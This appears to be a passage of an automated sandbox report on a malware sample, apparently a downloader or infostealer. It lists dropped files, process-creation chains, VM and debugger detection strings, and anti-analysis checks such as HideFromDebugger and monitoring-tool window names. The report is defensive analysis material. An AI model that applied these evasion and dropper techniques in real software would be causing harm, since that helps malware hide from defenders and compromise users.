Window / User API: threadDelayed 388

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\OneDrive[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\num[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000343001\OneDrive.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\System32\svchost.exe TID: 7528	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4304	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 10616	Thread sleep count: 62 > 30
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 10616	Thread sleep time: -124062s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 10620	Thread sleep count: 64 > 30
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 10620	Thread sleep time: -128064s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 10596	Thread sleep count: 61 > 30
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 10596	Thread sleep time: -122061s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 11012	Thread sleep count: 388 > 30
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 11012	Thread sleep time: -11640000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 10600	Thread sleep count: 43 > 30
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 10600	Thread sleep time: -86043s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 10800	Thread sleep time: -900000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 10624	Thread sleep time: -58029s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 11012	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 3244	Thread sleep count: 52 > 30
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 3244	Thread sleep time: -104052s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 5828	Thread sleep count: 52 > 30
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 5828	Thread sleep time: -104052s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 10988	Thread sleep count: 44 > 30
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 10988	Thread sleep time: -88044s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 11000	Thread sleep count: 340 > 30
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 11000	Thread sleep time: -10200000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 2836	Thread sleep count: 50 > 30
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 2836	Thread sleep time: -100050s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 10784	Thread sleep time: -1080000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 3848	Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 3848	Thread sleep time: -82041s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 3852	Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 3852	Thread sleep time: -76038s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 11000	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Last function: Thread delayed

Source: C:\Users\userBGCAFHCAKF.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: userBGCAFHCAKF.exe, userBGCAFHCAKF.exe, 00000003.00000002.2042078594.0000000000E65000.00000040.00000001.01000000.00000009.sdmp, RoamingBKEHDGDGHC.exe, RoamingBKEHDGDGHC.exe, 00000015.00000002.2041200513.0000000001017000.00000040.00000001.01000000.0000000F.sdmp, explorti.exe, explorti.exe, 00000027.00000002.2073849292.0000000000805000.00000040.00000001.01000000.00000018.sdmp, axplong.exe, 00000028.00000002.2080309115.0000000000C47000.00000040.00000001.01000000.00000019.sdmp, explorti.exe, 00000029.00000002.2078458614.0000000000805000.00000040.00000001.01000000.00000018.sdmp, explorti.exe, 0000002E.00000002.2947260425.0000000000805000.00000040.00000001.01000000.00000018.sdmp, axplong.exe, 0000002F.00000002.2949263475.0000000000C47000.00000040.00000001.01000000.00000019.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 0000001F.00000002.2991198913.000001C0DAD40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll7
Source: 1a87deddda.exe, 00000031.00000002.2458058128.0000000002526000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(NW
Source: file.exe, 00000000.00000002.2140576144.000000000265E000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware\|
Source: firefox.exe, 00000010.00000003.2693483675.00000F1F81940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .VMware Virtual disk
Source: RoamingBKEHDGDGHC.exe, 00000015.00000002.2037690492.0000000000815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: firefox.exe, 0000001F.00000002.2991198913.000001C0DAD40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWS
Source: file.exe, 00000000.00000002.2140652830.0000000002678000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2759553348.000001B9AF85A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2960744313.000001C0DA43A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991198913.000001C0DAD40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2958151625.000002827224A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2985014904.0000028272B50000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000002E.00000002.2970763722.00000000015A9000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000002E.00000002.2970763722.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 0000002F.00000002.2971064872.00000000012B9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 0000002F.00000002.2971064872.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1a87deddda.exe, 00000031.00000002.2457916077.000000000250C000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 00000010.00000003.2150860278.0000025CA64BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2987193042.000001C0DA91F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: firefox.exe, 0000001F.00000002.2960744313.000001C0DA43A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>
Source: firefox.exe, 00000025.00000002.2985014904.0000028272B50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^
Source: userBGCAFHCAKF.exe, 00000003.00000002.2042078594.0000000000E65000.00000040.00000001.01000000.00000009.sdmp, RoamingBKEHDGDGHC.exe, 00000015.00000002.2041200513.0000000001017000.00000040.00000001.01000000.0000000F.sdmp, explorti.exe, 00000027.00000002.2073849292.0000000000805000.00000040.00000001.01000000.00000018.sdmp, axplong.exe, 00000028.00000002.2080309115.0000000000C47000.00000040.00000001.01000000.00000019.sdmp, explorti.exe, 00000029.00000002.2078458614.0000000000805000.00000040.00000001.01000000.00000018.sdmp, explorti.exe, 0000002E.00000002.2947260425.0000000000805000.00000040.00000001.01000000.00000018.sdmp, axplong.exe, 0000002F.00000002.2949263475.0000000000C47000.00000040.00000001.01000000.00000019.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 00000010.00000003.2693483675.00000F1F81940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk
Source: 1a87deddda.exe, 00000031.00000002.2457916077.000000000250C000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareo
Source: svchost.exe, 0000000D.00000002.2753420601.000001B9AA22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorti.exe, 00000027.00000002.2073620835.0000000000611000.00000040.00000001.01000000.00000018.sdmp, explorti.exe, 00000029.00000002.2077974435.0000000000611000.00000040.00000001.01000000.00000018.sdmp, explorti.exe, 0000002E.00000002.2945747698.0000000000611000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: HgfSF
Source: firefox.exe, 0000001F.00000002.2991198913.000001C0DAD40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2985014904.0000028272B50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-50379
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-50399
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-50382
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-51557
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-50422
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-50400
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-50216
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-50393

Source: C:\Users\userBGCAFHCAKF.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\userBGCAFHCAKF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: SIWVID

Source: C:\Users\userBGCAFHCAKF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort

Source: C:\Users\userBGCAFHCAKF.exe

Code function: 3_2_05670C61 rdtsc

3_2_05670C61

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0041ACFA

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\file.exe

0_2_004195E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419160 mov eax, dword ptr fs:[00000030h]

0_2_00419160

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041C8D9 SetUnhandledExceptionFilter,	0_2_0041C8D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041ACFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041A718
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C71B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C71B1F7
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_00409950 SetUnhandledExceptionFilter,	7_2_00409950
Source: C:\Users\userBKFCAFCFBA.exe	Code function: 7_2_00409930 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,	7_2_00409930

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorti.exe PID: 11024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1a87deddda.exe PID: 10656, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\num[1].exe, type: DROPPED

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBGCAFHCAKF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBKFCAFCFBA.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingBKEHDGDGHC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBGCAFHCAKF.exe "C:\Users\userBGCAFHCAKF.exe"	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBKFCAFCFBA.exe "C:\Users\userBKFCAFCFBA.exe"	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\8126.tmp\8127.tmp\8128.bat C:\Users\userBKFCAFCFBA.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe "C:\Users\user\AppData\RoamingBKEHDGDGHC.exe"
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6896 -ip 6896
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6896 -ip 6896
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 10656 -ip 10656
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 10656 -s 1316
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe "C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe"
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: unknown unknown

